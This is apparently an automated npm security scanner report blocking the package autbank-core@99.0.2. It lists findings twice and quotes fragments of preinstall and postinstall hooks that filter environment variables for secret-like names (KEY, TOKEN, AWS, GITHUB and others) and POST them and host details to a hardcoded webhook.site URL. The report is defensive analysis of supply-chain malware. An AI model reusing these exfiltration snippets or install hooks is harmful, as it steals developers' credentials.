autbank-core@99.0.2: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

autbank-core@99.0.2: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.preinstall = node preinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node preinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

1Source sends the broad process environment to a literal external destination. L1: const https = require('https'); L2: const os = require('os'); L3: const fs = require('fs'); L4: const { execSync } = require('child_process'); L5: ... L11: timestamp: new Date().toISOString(), L12: hostname: os.hostname(), L13: platform: os.platform(), ... L19: L20: const sensitive = ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'AWS', 'API', 'CREDENTIAL', 'AUTH', 'PRIVATE', 'NPM', 'GIT', 'CI', 'GITHUB', 'GITLAB']; L21: for (const [key, value] of Object.entries(process.env)) { L22: if (sensitive.some(s => key.toUpperCase().includes(s))) {

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

preinstall.jsView on unpkg · L1

1Trigger-reachable chain: scripts.preinstall -> preinstall.js L1: const https = require('https'); L2: const os = require('os'); L3: const fs = require('fs'); L4: const { execSync } = require('child_process'); L5: ... L11: timestamp: new Date().toISOString(), L12: hostname: os.hostname(), L13: platform: os.platform(), ... L19: L20: const sensitive = ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'AWS', 'API', 'CREDENTIAL', 'AUTH', 'PRIVATE', 'NPM', 'GIT', 'CI', 'GITHUB', 'GITLAB']; L21: for (const [key, value] of Object.entries(process.env)) { L22: if (sensitive.some(s => key.toUpperCase().includes(s))) {

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

preinstall.jsView on unpkg · L1

1const https = require('https'); L2: const os = require('os'); L3: const fs = require('fs'); L4: const { execSync } = require('child_process'); L5: ... L11: timestamp: new Date().toISOString(), L12: hostname: os.hostname(), L13: platform: os.platform(), ... L19: L20: const sensitive = ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'AWS', 'API', 'CREDENTIAL', 'AUTH', 'PRIVATE', 'NPM', 'GIT', 'CI', 'GITHUB', 'GITLAB']; L21: for (const [key, value] of Object.entries(process.env)) { L22: if (sensitive.some(s => key.toUpperCase().includes(s))) {

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

preinstall.jsView on unpkg · L1

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> preinstall.js const https = require('https'); const WEBHOOK_URL = 'https://webhook.site/34e76ae9-12e2-4fea-a33a-24f4e1ac5eb2'; const postData = JSON.stringify(data); const url = new URL(WEBHOOK_URL); method: 'POST', 'Content-Length': Buffer.byteLength(postData) const req = https.request(options, (res) => {}); req.write(postData);

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

preinstall.jsView on unpkg

postinstall.jsView file

1// Post-install hook - backup exfil L2: const https = require('https'); L3: const os = require('os'); ... L9: type: 'npm[redacted]', L10: hostname: os.hostname(), L11: user: os.userInfo().username, ... L23: req.on('error', () => {}); L24: req.write(data); L25: req.end();

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

postinstall.jsView on unpkg · L1

round57_rce.pyView file

•path = round57_rce.py kind = build_helper sizeBytes = 5142 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

round57_rce.pyView on unpkg

Source & flagged code

9 flagged

package.jsonView file

•scripts.preinstall = node preinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node preinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

1Source sends the broad process environment to a literal external destination. L1: const https = require('https'); L2: const os = require('os'); L3: const fs = require('fs'); L4: const { execSync } = require('child_process'); L5: ... L11: timestamp: new Date().toISOString(), L12: hostname: os.hostname(), L13: platform: os.platform(), ... L19: L20: const sensitive = ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'AWS', 'API', 'CREDENTIAL', 'AUTH', 'PRIVATE', 'NPM', 'GIT', 'CI', 'GITHUB', 'GITLAB']; L21: for (const [key, value] of Object.entries(process.env)) { L22: if (sensitive.some(s => key.toUpperCase().includes(s))) {

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

preinstall.jsView on unpkg · L1

1Trigger-reachable chain: scripts.preinstall -> preinstall.js L1: const https = require('https'); L2: const os = require('os'); L3: const fs = require('fs'); L4: const { execSync } = require('child_process'); L5: ... L11: timestamp: new Date().toISOString(), L12: hostname: os.hostname(), L13: platform: os.platform(), ... L19: L20: const sensitive = ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'AWS', 'API', 'CREDENTIAL', 'AUTH', 'PRIVATE', 'NPM', 'GIT', 'CI', 'GITHUB', 'GITLAB']; L21: for (const [key, value] of Object.entries(process.env)) { L22: if (sensitive.some(s => key.toUpperCase().includes(s))) {

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

preinstall.jsView on unpkg · L1

1const https = require('https'); L2: const os = require('os'); L3: const fs = require('fs'); L4: const { execSync } = require('child_process'); L5: ... L11: timestamp: new Date().toISOString(), L12: hostname: os.hostname(), L13: platform: os.platform(), ... L19: L20: const sensitive = ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'AWS', 'API', 'CREDENTIAL', 'AUTH', 'PRIVATE', 'NPM', 'GIT', 'CI', 'GITHUB', 'GITLAB']; L21: for (const [key, value] of Object.entries(process.env)) { L22: if (sensitive.some(s => key.toUpperCase().includes(s))) {

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

preinstall.jsView on unpkg · L1

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> preinstall.js const https = require('https'); const WEBHOOK_URL = 'https://webhook.site/34e76ae9-12e2-4fea-a33a-24f4e1ac5eb2'; const postData = JSON.stringify(data); const url = new URL(WEBHOOK_URL); method: 'POST', 'Content-Length': Buffer.byteLength(postData) const req = https.request(options, (res) => {}); req.write(postData);

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

preinstall.jsView on unpkg

postinstall.jsView file

1// Post-install hook - backup exfil L2: const https = require('https'); L3: const os = require('os'); ... L9: type: 'npm[redacted]', L10: hostname: os.hostname(), L11: user: os.userInfo().username, ... L23: req.on('error', () => {}); L24: req.write(data); L25: req.end();

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

postinstall.jsView on unpkg · L1

round57_rce.pyView file

•path = round57_rce.py kind = build_helper sizeBytes = 5142 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

round57_rce.pyView on unpkg